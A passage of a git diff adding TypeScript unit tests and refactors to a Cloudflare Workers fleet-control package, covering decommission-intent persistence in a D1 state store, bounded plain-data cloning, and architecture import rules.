operation; + } catch (error) { + refusal = error; + } + expect(refusal).toBeInstanceOf(Error); + expect((refusal as Error).message).toBe(INVALID_DECOMMISSION_INTENT); +} function nullableTextColumn(name: string): Readonly> { return { name, type: 'TEXT', notnull: 0, pk: 0 }; @@ -27,6 +44,7 @@ function addedColumnName(sql: string): string | undefined { class MemoryD1 implements FleetStateDatabase { row: Readonly> | undefined; + deploymentInsertSql: string | undefined; readonly claims = new Map>>(); async query( @@ -130,6 +148,7 @@ class MemoryD1 implements FleetStateDatabase { ); } if (sql.startsWith('INSERT INTO anchorage_fleet_deployments')) { + this.deploymentInsertSql = sql; const names = [ 'tenant_tag', 'environment', @@ -152,6 +171,7 @@ class MemoryD1 implements FleetStateDatabase { 'platform_target', 'migration_intent', 'backend_switch_intent', + 'decommission_intent', 'durable_object_tag', 'durable_object_migration_history', 'durable_object_migration_history_digest', @@ -287,11 +307,45 @@ class MemoryD1 implements FleetStateDatabase { } } +class LostResponseD1 extends MemoryD1 { + lose: 'exact' | 'changed' | undefined; + + override async batch( + statements: readonly Readonly<{ + sql: string; + bindings?: readonly unknown[]; + }>[], + ): Promise>[])[]> { + const results = await super.batch(statements); + const lose = this.lose; + if (!lose) return results; + this.lose = undefined; + if ( + lose === 'changed' && + typeof this.row?.decommission_intent === 'string' + ) { + const intent = JSON.parse(this.row.decommission_intent) as Record< + string, + unknown + >; + this.row = { + ...this.row, + decommission_intent: JSON.stringify({ + ...intent, + revision: Number(intent.revision) + 1, + }), + }; + } + throw new Error(`committed ${lose} D1 batch response lost`); + } +} + class SchemaD1 implements FleetStateDatabase { readonly columns = new Map>>( ADDED_NULLABLE_TEXT_COLUMNS.map((name) => [name, nullableTextColumn(name)]), ); createAttempts = 0; + deploymentCreateSql: string | undefined; alterAttempts = 0; failCreateOnce = false; failAlterOnce = false; @@ -308,6 +362,7 @@ class SchemaD1 implements FleetStateDatabase { sql.startsWith('CREATE TABLE IF NOT EXISTS anchorage_fleet_deployments') ) { this.createAttempts += 1; + this.deploymentCreateSql = sql; if (this.failCreateOnce) { this.failCreateOnce = false; throw new Error('transient schema failure'); @@ -392,6 +447,82 @@ function reservedRecord( }; } +const DECOMMISSION_OPERATION_ID = '123e4567-e89b-42d3-a456-426614174000'; + +function decommissionBase(): FleetRecord { + return { + ...reservedRecord('plain-worker'), + artifactVersion: 'artifact-v1', + phase: 'ready', + applicationResources: [], + applicationBindings: { vars: [], secrets: [], r2Buckets: [] }, + }; +} + +function decommissionIntentCommon( + record: FleetRecord, + lifecyclePhase: import('../src/types.js').NormalDecommissionLifecyclePhase, + revision: number, +) { + return { + version: 1 as const, + operationId: DECOMMISSION_OPERATION_ID, + revision, + generation: 0, + updatedAt: `2026-08-11T00:00:${String(revision).padStart(2, '0')}.000Z`, + identity: { + record: { + tenantTag: record.tenantTag, + environment: record.environment, + backend: record.backend, + scriptName: record.scriptName, + databaseId: record.databaseId, + databaseName: record.databaseName, + routeHostname: record.routeHostname, + }, + mode: { + kind: 'normal' as const, + requestedSpecDigest: record.desiredSpecDigest, + entryLifecyclePhase: 'ready' as const, + }, + }, + lifecyclePhase, + }; +} + +function transitioningRecord(revision = 0): FleetRecord { + const base = decommissionBase(); + return { + ...base, + phase: 'decommission-advancing', + decommissionIntent: { + state: 'transitioning', + ...decommissionIntentCommon(base, 'ready', revision), + }, + }; +} + +function externalPolicyAndTarget(record: FleetRecord) { + const outboundPolicy = canonicalDeploymentEgressPolicy({ + policyId: `policy-${record.tenantTag}`, + tenantTag: record.tenantTag, + environment: record.environment, + allowedHosts: [], + }); + return { + outboundPolicy, + platformTarget: { + maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY, + stateArtifactDigest: 'a'.repeat(64), + stateDurableObjectHistoryDigest: 'b'.repeat(64), + egressArtifactDigest: 'c'.repeat(64), + d1SchemaVersion: record.schemaVersion, + d1SchemaHistoryDigest: 'd'.repeat(64), + outboundPolicy, + }, + }; +} + function platformSet(workerName: string): PlatformPlaneResourceSet { return { accountId: 'account', @@ -485,6 +616,363 @@ describe('D1FleetStateStore release state', () => { ).rejects.toThrow(/absent or incompatible/u); }); + it('round-trips every decommission shell arm and an absent shell', async () => { + const db = new MemoryD1(); + const store = new D1FleetStateStore(db, { accountId: 'account' }); + const base = decommissionBase(); + await store.withDeploymentLease('acme', 'production', (lease) => + lease.put(base), + ); + await expect(store.get('acme', 'production')).resolves.toEqual(base); + + const purpose = { + kind: 'database-pre-export' as const, + databaseId: base.databaseId, + }; + const progress = initialWorkerAttachmentScan({ + kind: 'd1', + databaseId: base.databaseId, + }); + const active = ( + intent: NonNullable, + ): FleetRecord => ({ + ...base, + phase: 'decommission-advancing', + decommissionIntent: intent, + }); + const pendingSpecDigest = 'd'.repeat(64); + const migratingBase: FleetRecord = { + ...base, + phase: 'decommission-advancing', + pendingSpecDigest, + pendingArtifactVersion: 'candidate-v1', + }; + const migratingCommon = decommissionIntentCommon( + migratingBase, + 'migrating', + 1, + ); + const migratingRecord: FleetRecord = { + ...migratingBase, + decommissionIntent: { + ...migratingCommon, + identity: { + ...migratingCommon.identity, + mode: { + kind: 'normal', + requestedSpecDigest: pendingSpecDigest, + entryLifecyclePhase: 'migrating', + }, + }, + state: 'transitioning', + }, + }; + const { + pendingArtifactVersion: _pendingArtifactVersion, + ...migratingWithoutArtifact + } = migratingRecord; + const records: FleetRecord[] = [ + transitioningRecord(), + migratingRecord, + migratingWithoutArtifact, + active({ + ...decommissionIntentCommon(base, 'application-resources-deleted', 1), + state: 'discover', + purpose, + progress, + }), + active({ + ...decommissionIntentCommon(base, 'application-resources-deleted', 2), + state: 'verify', + purpose, + progress, + discoverEvidence: { + evidenceSha256: 'b'.repeat(64), + evidenceCount: 2, + }, + }), + active({ + ...decommissionIntentCommon(base, 'application-resources-deleted', 3), + state: 'blocked', + purpose, + attachment: { plane: 'ordinary', scriptName: 'foreign-worker' }, + }), + { ...base, phase: 'decommissioned' }, + (() => { + const common = decommissionIntentCommon(base, 'database-deleting', 4); + return { + ...base, + phase: 'decommissioned', + databaseExportLocation: 'r2://exports/database.sql', + databaseExportSha256: 'c'.repeat(64), + databaseExportSize: 42, + decommissionIntent: { + ...common, + lifecyclePhase: 'decommissioned', + state: 'complete', + }, + }; + })(), + ]; + + for (const record of records) { + await store.withDeploymentLease('acme', 'production', (lease) => + lease.put(record), + ); + const roundTripped = await store.get('acme', 'production'); + expect(roundTripped).toEqual(record); + await expect(store.list()).resolves.toEqual([record]); + expect(db.row?.decommission_intent).toBe( + roundTripped?.decommissionIntent + ? JSON.stringify(roundTripped.decommissionIntent) + : null, + ); + } + const persisted = structuredClone(db.row); + for (const pendingArtifactVersion of ['', 'pending', 42]) { + await expectInvalidDecommission( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put({ + ...migratingRecord, + pendingArtifactVersion: pendingArtifactVersion as never, + }), + ), + ); + } + await expectInvalidDecommission( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put({ + ...migratingRecord, + decommissionIntent: { + ...migratingRecord.decommissionIntent, + lifecyclePhase: 'decommissioning', + } as NonNullable, + }), + ), + ); + expect(db.row).toEqual(persisted); + }); + + it('refuses malformed decommission columns and write values', async () => { + const db = new MemoryD1(); + const store = new D1FleetStateStore(db, { accountId: 'account' }); + const valid = transitioningRecord(); + await store.withDeploymentLease('acme', 'production', (lease) => + lease.put(valid), + ); + const persisted = structuredClone(db.row); + const validIntent = valid.decommissionIntent; + if (!validIntent) throw new Error('test record has no decommission intent'); + + const serialized = String(persisted?.decommission_intent); + const exactBound = serialized.padEnd(DECOMMISSION_INTENT_BYTE_BOUND, ' '); + expect(DECOMMISSION_INTENT_BYTE_BOUND).toBe(98_304); + expect(new TextEncoder().encode(exactBound).byteLength).toBe( + DECOMMISSION_INTENT_BYTE_BOUND, + ); + db.row = { ...persisted, decommission_intent: exactBound }; + await expect(store.get('acme', 'production')).resolves.toEqual(valid); + + for (const malformed of [ + 42, + '{', + 'x'.repeat(98_305), + 'é'.repeat(49_153), + JSON.stringify({ ...validIntent, version: 2 }), + JSON.stringify({ + ...validIntent, + identity: { + ...validIntent.identity, + record: { ...validIntent.identity.record, scriptName: 'other' }, + }, + }), + ]) { + db.row = { ...persisted, decommission_intent: malformed }; + await expectInvalidDecommission(store.get('acme', 'production')); + } + db.row = persisted; + + const encode = vi.spyOn(TextEncoder.prototype, 'encode'); + try { + const before = encode.mock.calls.length; + db.row = { ...persisted, decommission_intent: 'x'.repeat(98_305) }; + await expectInvalidDecommission(store.get('acme', 'production')); + expect(encode).toHaveBeenCalledTimes(before); + } finally { + encode.mockRestore(); + db.row = persisted; + } + + db.row = { + ...persisted, + phase: 'decommission-advancing', + decommission_intent: null, + }; + await expectInvalidDecommission(store.get('acme', 'production')); + db.row = persisted; + + await expectInvalidDecommission( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put({ ...valid, decommissionIntent: undefined }), + ), + ); + for (const malformed of [null, false]) { + await expectInvalidDecommission( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put({ + ...decommissionBase(), + decommissionIntent: malformed as never, + }), + ), + ); + } + await expectInvalidDecommission( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put({ + ...decommissionBase(), + phase: 'decommission-advancing', + }), + ), + ); + await expectInvalidDecommission( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put({ + ...valid, + decommissionIntent: { + ...valid.decommissionIntent, + version: 2, + } as never, + }), + ), + ); + await expectInvalidDecommission( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put({ + ...valid, + pendingSpecDigest: 'e'.repeat(64), + }), + ), + ); + await expectInvalidDecommission( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put({ + ...valid, + pendingSpecDigest: 'e'.repeat(64), + pendingArtifactVersion: 'candidate-v2', + }), + ), + ); + expect(db.row).toEqual(persisted); + }); + + it('keeps the decommission column compatible and chronologically appended', async () => { + expect(ADDED_NULLABLE_TEXT_COLUMNS).toEqual([ + 'backend_switch_intent', + 'settled_settlement_key', + 'decommission_intent', + ]); + const current = new SchemaD1(); + await new D1FleetStateStore(current, { accountId: 'account' }).get( + 'acme', + 'production', + ); + expect(current.columns.get('decommission_intent')).toEqual( + nullableTextColumn('decommission_intent'), + ); + expect(current.deploymentCreateSql).toMatch( + /backend_switch_intent TEXT,\s+decommission_intent TEXT,\s+durable_object_tag TEXT/u, + ); + + const incompatible = new SchemaD1(); + incompatible.columns.set('decommission_intent', { + name: 'decommission_intent', + type: 'INTEGER', + notnull: 1, + pk: 0, + }); + await expect( + new D1FleetStateStore(incompatible, { accountId: 'account' }).get( + 'acme', + 'production', + ), + ).rejects.toThrow(/absent or incompatible/u); + }); + + it('keeps the independent INSERT projection in exact logical order', async () => { + const db = new MemoryD1(); + const store = new D1FleetStateStore(db, { accountId: 'account' }); + await store.withDeploymentLease('acme', 'production', (lease) => + lease.put(transitioningRecord()), + ); + const columns = + /INSERT INTO anchorage_fleet_deployments \(([\s\S]*?)\) SELECT/u + .exec(String(db.deploymentInsertSql))?.[1] + ?.split(',') + .map((column) => column.trim()); + expect(columns).toEqual([ + 'tenant_tag', + 'environment', + 'backend', + 'script_name', + 'database_id', + 'database_name', + 'schema_version', + 'artifact_version', + 'desired_spec_digest', + 'pending_spec_digest', + 'pending_artifact_version', + 'active_release', + 'pending_release', + 'migration_prior_release', + 'rollback_release', + 'retiring_release', + 'outbound_policy', + 'platform_resources', + 'platform_target', + 'migration_intent', + 'backend_switch_intent', + 'decommission_intent', + 'durable_object_tag', + 'durable_object_migration_history', + 'durable_object_migration_history_digest', + 'durable_object_bindings', + 'application_resources', + 'application_bindings', + 'route_hostname', + 'phase', + 'database_export_location', + 'database_export_sha256', + 'database_export_size', + 'settled_settlement_key', + 'updated_at', + ]); + }); + + it('converges only a byte-identical lost decommission write response', async () => { + const db = new LostResponseD1(); + const store = new D1FleetStateStore(db, { accountId: 'account' }); + db.lose = 'exact'; + await expect( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put(transitioningRecord(1)), + ), + ).resolves.toBeUndefined(); + await expect(store.get('acme', 'production')).resolves.toMatchObject({ + decommissionIntent: { revision: 1 }, + }); + + db.lose = 'changed'; + await expect( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put(transitioningRecord(2)), + ), + ).rejects.toThrow('mixed atomic ownership commit'); + await expect(store.get('acme', 'production')).resolves.toMatchObject({ + decommissionIntent: { revision: 3 }, + }); + expect(db.claims.size).toBe(1); + }); + it('atomically transitions the deployment claim role with backend ownership', async () => { const db = new MemoryD1(); const store = new D1FleetStateStore(db, { accountId: 'account' }); @@ -492,7 +980,12 @@ describe('D1FleetStateStore release state', () => { await store.withDeploymentLease('acme', 'production', (lease) => lease.put(plain), ); - const external = { ...plain, backend: 'workers-for-platforms' as const }; + const { outboundPolicy } = externalPolicyAndTarget(plain); + const external = { + ...plain, + backend: 'workers-for-platforms' as const, + outboundPolicy, + }; await store.withDeploymentLease('acme', 'production', (lease) => lease.put(external), @@ -514,12 +1007,15 @@ describe('D1FleetStateStore release state', () => { await store.withDeploymentLease('acme', 'production', (lease) => lease.put(plain), ); + const ownership = externalPolicyAndTarget(plain); const switched: FleetRecord = { ...plain, + ...ownership, backend: 'workers-for-platforms', phase: 'ready', platformResources: { maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY, + outboundPolicy: ownership.outboundPolicy, stateWorker: { scriptName: plain.scriptName, artifactVersion: 'bridge-v1', @@ -528,6 +1024,12 @@ describe('D1FleetStateStore release state', () => { durableObjectBindings: [], namespaceIds: [], }, + egressProxy: { + scriptName: 'plain-worker-egress', + artifactVersion: 'bridge-egress-v1', + artifactDigest: 'c'.repeat(64), + ...ownership.outboundPolicy, + }, }, }; await store.withDeploymentLease('acme', 'production', (lease) => @@ -593,12 +1095,13 @@ describe('D1FleetStateStore release state', () => { const db = new MemoryD1(); const store = new D1FleetStateStore(db, { accountId: 'account' }); const record = reservedRecord('workers-for-platforms'); + const { outboundPolicy } = externalPolicyAndTarget(record); const trustedName = role === 'state' ? externalStateScriptName(record) : externalEgressProxyScriptName(record); await store.withDeploymentLease('acme', 'production', (lease) => - lease.put(record), + lease.put({ ...record, outboundPolicy }), ); await expect( @@ -774,6 +1277,63 @@ describe('D1FleetStateStore release state', () => { lease.put(record), ); await expect(store.get('acme', 'production')).resolves.toEqual(record); + if (!record.migrationIntent) throw new Error('missing migration intent'); + + const decommissioningMigration: FleetRecord = { + ...record, + phase: 'decommission-advancing', + decommissionIntent: { + version: 1, + operationId: '12345678-1234-4abc-8def-1234567890ab', + revision: 0, + generation: 0, + updatedAt: '2026-08-29T12:00:00.000Z', + identity: { + record: { + tenantTag: record.tenantTag, + environment: record.environment, + backend: record.backend, + scriptName: record.scriptName, + databaseId: record.databaseId, + databaseName: record.databaseName, + routeHostname: record.routeHostname, + }, + mode: { + kind: 'normal', + requestedSpecDigest: record.migrationIntent.targetSpecDigest, + entryLifecyclePhase: 'migrating', + }, + }, + lifecyclePhase: 'migrating', + state: 'transitioning', + }, + }; + await store.withDeploymentLease('acme', 'production', (lease) => + lease.put(decommissioningMigration), + ); + await expect(store.get('acme', 'production')).resolves.toEqual( + decommissioningMigration, + ); + + const { migrationIntent: _withoutIntent, ...withoutIntent } = + decommissioningMigration; + await expectInvalidDecommission( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put(withoutIntent), + ), + ); + await expectInvalidDecommission( + store.withDeploymentLease('acme', 'production', (lease) => + lease.put({ + ...decommissioningMigration, + pendingSpecDigest: '9'.repeat(64), + }), + ), + ); + + await store.withDeploymentLease('acme', 'production', (lease) => + lease.put(record), + ); const serializedIntent = JSON.parse( String(db.row?.migration_intent), @@ -935,6 +1495,12 @@ describe('D1FleetStateStore release state', () => { it('rejects malformed persisted platform resource ownership', async () => { const db = new MemoryD1(); const store = new D1FleetStateStore(db, { accountId: 'account' }); + const outboundPolicy = canonicalDeploymentEgressPolicy({ + policyId: 'policy-acme', + tenantTag: 'acme', + environment: 'production', + allowedHosts: [], + }); const base: FleetRecord = { tenantTag: 'acme', environment: 'production', @@ -945,17 +1511,13 @@ describe('D1FleetStateStore release state', () => { schemaVersion: 1, artifactVersion: 'release-version', desiredSpecDigest: 'a'.repeat(64), - outboundPolicy: canonicalDeploymentEgressPolicy({ - policyId: 'policy-acme', - tenantTag: 'acme', - environment: 'production', - allowedHosts: [], - }), + outboundPolicy, durableObjectBindings: [], routeHostname: 'acme.example.test', phase: 'platform-resources-deployed', platformResources: { maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY, + outboundPolicy, stateWorker: { scriptName: 'acme-production-state', artifactVersion: 'state-version', @@ -965,6 +1527,21 @@ describe('D1FleetStateStore release state', () => { durableObjectBindings: [], namespaceIds: [], }, + egressProxy: { + scriptName: 'acme-production-egress', + artifactVersion: 'egress-version', + artifactDigest: 'c'.repeat(64), + ...outboundPolicy, + }, + }, + platformTarget: { + maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY, + stateArtifactDigest: 'a'.repeat(64), + stateDurableObjectHistoryDigest: 'b'.repeat(64), + egressArtifactDigest: 'c'.repeat(64), + d1SchemaVersion: 1, + d1SchemaHistoryDigest: 'd'.repeat(64), + outboundPolicy, }, updatedAt: '2026-08-11T00:00:00.000Z', }; diff --git a/packages/fleet-control/test/strict-plain-data.test.ts b/packages/fleet-control/test/strict-plain-data.test.ts new file mode 100644 index 00000000..4a668554 --- /dev/null +++ b/packages/fleet-control/test/strict-plain-data.test.ts @@ -0,0 +1,168 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it, vi } from 'vitest'; +import { + type BoundedPlainDataOptions, + cloneBoundedPlainData, +} from '../src/strict-plain-data.js'; + +function limits(error: () => Error): BoundedPlainDataOptions { + return { + maxDepth: 64, + maxNodes: 8_192, + maxScalarBytes: 65_536, + maxSerializedBytes: 65_536, + error, + }; +} + +describe('bounded plain data', () => { + it('normalizes the JSON data shapes accepted by attachment progress', () => { + const nested = Object.assign(Object.create(null), { + active: true, + values: [null, 3, 'value'], + }); + + const cloned = cloneBoundedPlainData( + { version: 1, nested }, + limits(() => new Error('malformed')), + ) as { version: number; nested: { active: boolean; values: unknown[] } }; + + expect(cloned).toEqual({ + version: 1, + nested: { active: true, values: [null, 3, 'value'] }, + }); + expect(Object.getPrototypeOf(cloned)).toBeNull(); + expect(Object.getPrototypeOf(cloned.nested)).toBeNull(); + expect(Object.getPrototypeOf(cloned.nested.values)).toBe(Array.prototype); + }); + + it('rejects deep, wide, accessor-backed, and cyclic data causally', () => { + const refusal = new Error('malformed'); + const deepTrap = vi.fn(() => Object.prototype); + let deep: unknown = new Proxy({}, { getPrototypeOf: deepTrap }); + for (let depth = 0; depth < 65; depth += 1) deep = [deep]; + expect(() => + cloneBoundedPlainData( + deep, + limits(() => refusal), + ), + ).toThrow(refusal); + expect(deepTrap).not.toHaveBeenCalled(); + + const ownKeys = vi.fn(Reflect.ownKeys); + let itemDescriptorReads = 0; + const wide = new Proxy(Array(8_192).fill(0), { + ownKeys, + getOwnPropertyDescriptor: (target, property) => { + if (property !== 'length') itemDescriptorReads += 1; + return Reflect.getOwnPropertyDescriptor(target, property); + }, + }); + expect(() => + cloneBoundedPlainData( + wide, + limits(() => refusal), + ), + ).toThrow(refusal); + expect(ownKeys).not.toHaveBeenCalled(); + expect(itemDescriptorReads).toBe(0); + + const accessor = vi.fn(() => 'secret'); + const accessorBacked = Object.defineProperty({}, 'value', { + enumerable: true, + get: accessor, + }); + expect(() => + cloneBoundedPlainData( + accessorBacked, + limits(() => refusal), + ), + ).toThrow(refusal); + expect(accessor).not.toHaveBeenCalled(); + + const cyclic: { self?: unknown } = {}; + cyclic.self = cyclic; + expect(() => + cloneBoundedPlainData( + cyclic, + limits(() => refusal), + ), + ).toThrow(refusal); + }); + + it('preflights raw and cumulative scalars and enforces final bytes', () => { + const refusal = new Error('malformed'); + const encode = vi.spyOn(TextEncoder.prototype, 'encode'); + try { + expect(() => + cloneBoundedPlainData( + 'x'.repeat(65_537), + limits(() => refusal), + ), + ).toThrow(refusal); + expect(encode).not.toHaveBeenCalled(); + + expect(() => + cloneBoundedPlainData( + { ['x'.repeat(65_537)]: 0 }, + limits(() => refusal), + ), + ).toThrow(refusal); + expect(encode).not.toHaveBeenCalled(); + + expect(() => + cloneBoundedPlainData(['1234', '5678'], { + ...limits(() => refusal), + maxScalarBytes: 8, + }), + ).toThrow(refusal); + expect(encode).toHaveBeenCalledTimes(1); + } finally { + encode.mockRestore(); + } + + expect(() => + cloneBoundedPlainData( + { a: 0 }, + { + ...limits(() => refusal), + maxSerializedBytes: 6, + }, + ), + ).toThrow(refusal); + }); + + it('throws the exact error supplied by the caller for every refusal', () => { + const refusal = new Error('fixed refusal'); + let captured: unknown; + try { + cloneBoundedPlainData( + Symbol('not-json'), + limits(() => refusal), + ); + } catch (error) { + captured = error; + } + expect(captured).toBe(refusal); + + const trapped = new Proxy( + {}, + { + getPrototypeOf: () => { + throw new Error('hostile trap'); + }, + }, + ); + captured = undefined; + try { + cloneBoundedPlainData( + trapped, + limits(() => refusal), + ); + } catch (error) { + captured = error; + } + expect(captured).toBe(refusal); + }); +}); diff --git a/packages/fleet-control/test/worker-attachment-scan.test.ts b/packages/fleet-control/test/worker-attachment-scan.test.ts index 19c7e01c..d8de751f 100644 --- a/packages/fleet-control/test/worker-attachment-scan.test.ts +++ b/packages/fleet-control/test/worker-attachment-scan.test.ts @@ -18,9 +18,20 @@ import { parseWorkerAttachmentScanProgress, type WorkerAttachment, type WorkerAttachmentScanChunk, + type WorkerAttachmentScanInput, type WorkerAttachmentScanProgress, type WorkerAttachmentScanTarget, } from '../src/cloudflare-worker-attachment-scan.js'; +import { + initialWorkerAttachmentScan as initialWorkerAttachmentScanFromState, + parseWorkerAttachmentScanProgress as parseWorkerAttachmentScanProgressFromState, + type WorkerAttachment as StateWorkerAttachment, + type WorkerAttachmentScanChunk as StateWorkerAttachmentScanChunk, + type WorkerAttachmentScanInput as StateWorkerAttachmentScanInput, + type WorkerAttachmentScanProgress as StateWorkerAttachmentScanProgress, + type WorkerAttachmentScanTarget as StateWorkerAttachmentScanTarget, +} from '../src/cloudflare-worker-attachment-scan-state.js'; +import type { DecommissionAttachmentProgress } from '../src/index.js'; import * as fleetRoot from '../src/index.js'; import { type CloudflareFixtureHandler, @@ -1847,8 +1858,35 @@ describe('Cloudflare Worker attachment scan', () => { }); it('keeps the scan friend off the root while retaining its internal callable seam', () => { + type Equal = + (() => Value extends Left ? 1 : 2) extends < + Value, + >() => Value extends Right ? 1 : 2 + ? true + : false; + const movedTypesAreIdentical: readonly [ + Equal, + Equal, + Equal, + Equal, + Equal, + ] = [true, true, true, true, true]; + const decommissionProgressMatchesScanner: WorkerAttachmentScanProgress extends DecommissionAttachmentProgress + ? DecommissionAttachmentProgress extends WorkerAttachmentScanProgress + ? true + : false + : false = true; + expect('advanceCloudflareWorkerAttachmentScan' in fleetRoot).toBe(false); expect(typeof advanceCloudflareWorkerAttachmentScan).toBe('function'); + expect(initialWorkerAttachmentScan).toBe( + initialWorkerAttachmentScanFromState, + ); + expect(parseWorkerAttachmentScanProgress).toBe( + parseWorkerAttachmentScanProgressFromState, + ); + expect(movedTypesAreIdentical).toEqual([true, true, true, true, true]); + expect(decommissionProgressMatchesScanner).toBe(true); expect(CLOUDFLARE_SDK_MAX_RETRIES).toBe(2); expect(CLOUDFLARE_SDK_MAX_ATTEMPTS).toBe(3); }); diff --git a/scripts/architecture-fixtures/decommission-state-imports-provider.ts b/scripts/architecture-fixtures/decommission-state-imports-provider.ts new file mode 100644 index 00000000..0895ff88 --- /dev/null +++ b/scripts/architecture-fixtures/decommission-state-imports-provider.ts @@ -0,0 +1,4 @@ +import '../../packages/fleet-control/src/cloudflare-worker-attachment-scan.js'; +import Cloudflare from 'cloudflare'; + +void Cloudflare; diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs index 99cce142..241e102f 100644 --- a/scripts/architecture-positive-controls.test.mjs +++ b/scripts/architecture-positive-controls.test.mjs @@ -42,6 +42,10 @@ const controls = { 'scripts/architecture-fixtures/host-kit-misses-approval-shapes.ts', 'fleet-control-client-layers-are-one-way': 'scripts/architecture-fixtures/fleet-control-leaf-imports-client.ts', + 'fleet-control-decommission-state-does-not-reach-provider': + 'scripts/architecture-fixtures/decommission-state-imports-provider.ts', + 'fleet-control-strict-plain-data-is-import-free': + 'scripts/architecture-fixtures/decommission-state-imports-provider.ts', 'fleet-control-ports-do-not-reach-d1-adapter': 'scripts/architecture-fixtures/fleet-control-port-imports-d1-adapter.ts', 'fleet-control-worker-reachable-modules-avoid-node-builtins': @@ -97,6 +101,28 @@ for (const [ruleName, fixture] of Object.entries(controls)) { violations.includes(ruleName), `${fixture} did not trigger ${ruleName}; got ${violations.join(', ')}`, ); + if ( + ruleName === 'fleet-control-decommission-state-does-not-reach-provider' + ) { + assert.ok( + report.summary.violations.some( + (violation) => + violation.rule.name === ruleName && violation.to === 'cloudflare', + ), + 'decommission state control did not reject a direct Cloudflare SDK import', + ); + } + if (ruleName === 'fleet-control-strict-plain-data-is-import-free') { + for (const target of ['cloudflare', 'crypto']) { + assert.ok( + report.summary.violations.some( + (violation) => + violation.rule.name === ruleName && violation.to === target, + ), + `strict plain-data control did not reject ${target}`, + ); + } + } if (ruleName === 'flowsafe-public-entry-no-breakwater') { const entry = report.modules.find((module) => module.source === fixture); assert.deepEqual( From a14f808517cee151f286ce412fef5a085245a0e8 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 30 Aug 2026 00:20:40 +0400 Subject: [PATCH 029/169] refactor(fleet-control): clarify decommission state helpers --- .../src/cloudflare-worker-attachment-scan.ts | 16 +- .../fleet-control/src/decommission-intent.ts | 42 ++--- .../fleet-control/src/strict-plain-data.ts | 28 +-- .../fleet-control/test/backend-switch.test.ts | 31 +--- .../fixtures/decommission-intent-fixture.ts | 63 +++++++ .../fixtures/fleet-state-harness-probe.ts | 36 +--- packages/fleet-control/test/fleet.test.ts | 44 +---- .../test/platform-resources.test.ts | 52 ++---- packages/fleet-control/test/provision.test.ts | 103 +++-------- .../fleet-control/test/state-store.test.ts | 167 +++++++++++------- .../test/strict-plain-data.test.ts | 73 +++++--- 11 files changed, 306 insertions(+), 349 deletions(-) create mode 100644 packages/fleet-control/test/fixtures/decommission-intent-fixture.ts diff --git a/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts b/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts index 25233292..f7ba6ed3 100644 --- a/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts +++ b/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts @@ -8,13 +8,13 @@ import { import type { CloudflareSdk } from './cloudflare-ordinary-worker-operations.js'; import { isNotFound } from './cloudflare-provider-errors.js'; import { + WORKER_ATTACHMENT_CURSOR_BYTE_BOUND as CURSOR_BYTE_BOUND, + WORKER_ATTACHMENT_DISPATCH_PAGE_BOUND as DISPATCH_PAGE_BOUND, + WORKER_ATTACHMENT_DISPATCH_PAGE_SIZE as DISPATCH_PAGE_SIZE, + WORKER_ATTACHMENT_EMPTY_MULTISET_SUM256 as EMPTY_MULTISET_SUM256, + WORKER_ATTACHMENT_EVIDENCE_BOUND as EVIDENCE_BOUND, initialWorkerAttachmentScan, parseWorkerAttachmentScanProgress, - WORKER_ATTACHMENT_CURSOR_BYTE_BOUND, - WORKER_ATTACHMENT_DISPATCH_PAGE_BOUND, - WORKER_ATTACHMENT_DISPATCH_PAGE_SIZE, - WORKER_ATTACHMENT_EMPTY_MULTISET_SUM256, - WORKER_ATTACHMENT_EVIDENCE_BOUND, type WorkerAttachment, type WorkerAttachmentScanChunk, type WorkerAttachmentScanInput, @@ -33,12 +33,6 @@ export { type WorkerAttachmentScanTarget, } from './cloudflare-worker-attachment-scan-state.js'; -const DISPATCH_PAGE_SIZE = WORKER_ATTACHMENT_DISPATCH_PAGE_SIZE; -const DISPATCH_PAGE_BOUND = WORKER_ATTACHMENT_DISPATCH_PAGE_BOUND; -const CURSOR_BYTE_BOUND = WORKER_ATTACHMENT_CURSOR_BYTE_BOUND; -const EVIDENCE_BOUND = WORKER_ATTACHMENT_EVIDENCE_BOUND; -const EMPTY_MULTISET_SUM256 = WORKER_ATTACHMENT_EMPTY_MULTISET_SUM256; - export interface DispatchScriptPageInput { readonly namespace: string; readonly cursor?: string; diff --git a/packages/fleet-control/src/decommission-intent.ts b/packages/fleet-control/src/decommission-intent.ts index 3e7c5030..e327c637 100644 --- a/packages/fleet-control/src/decommission-intent.ts +++ b/packages/fleet-control/src/decommission-intent.ts @@ -91,7 +91,7 @@ function malformed(): never { throw new DecommissionAdvanceIntentError(); } -function record(value: unknown): Record { +function plainRecord(value: unknown): Record { if (!value || typeof value !== 'object' || Array.isArray(value)) { return malformed(); } @@ -121,7 +121,7 @@ function boundedString(value: unknown): value is string { ); } -function safeInteger(value: unknown, minimum = 0): value is number { +function safeIntegerAtLeast(value: unknown, minimum = 0): value is number { return Number.isSafeInteger(value) && Number(value) >= minimum; } @@ -141,7 +141,7 @@ function parseRecordIdentity( value: unknown, source: FleetRecord, ): DecommissionRecordIdentity { - const candidate = record(value); + const candidate = plainRecord(value); exactKeys(candidate, [ 'tenantTag', 'environment', @@ -240,10 +240,10 @@ function parseIdentity( source: FleetRecord, lifecyclePhase: NormalDecommissionLifecyclePhase | 'decommissioned', ): DecommissionOperationIdentity { - const candidate = record(value); + const candidate = plainRecord(value); exactKeys(candidate, ['record', 'mode']); const stored = parseRecordIdentity(candidate.record, source); - const mode 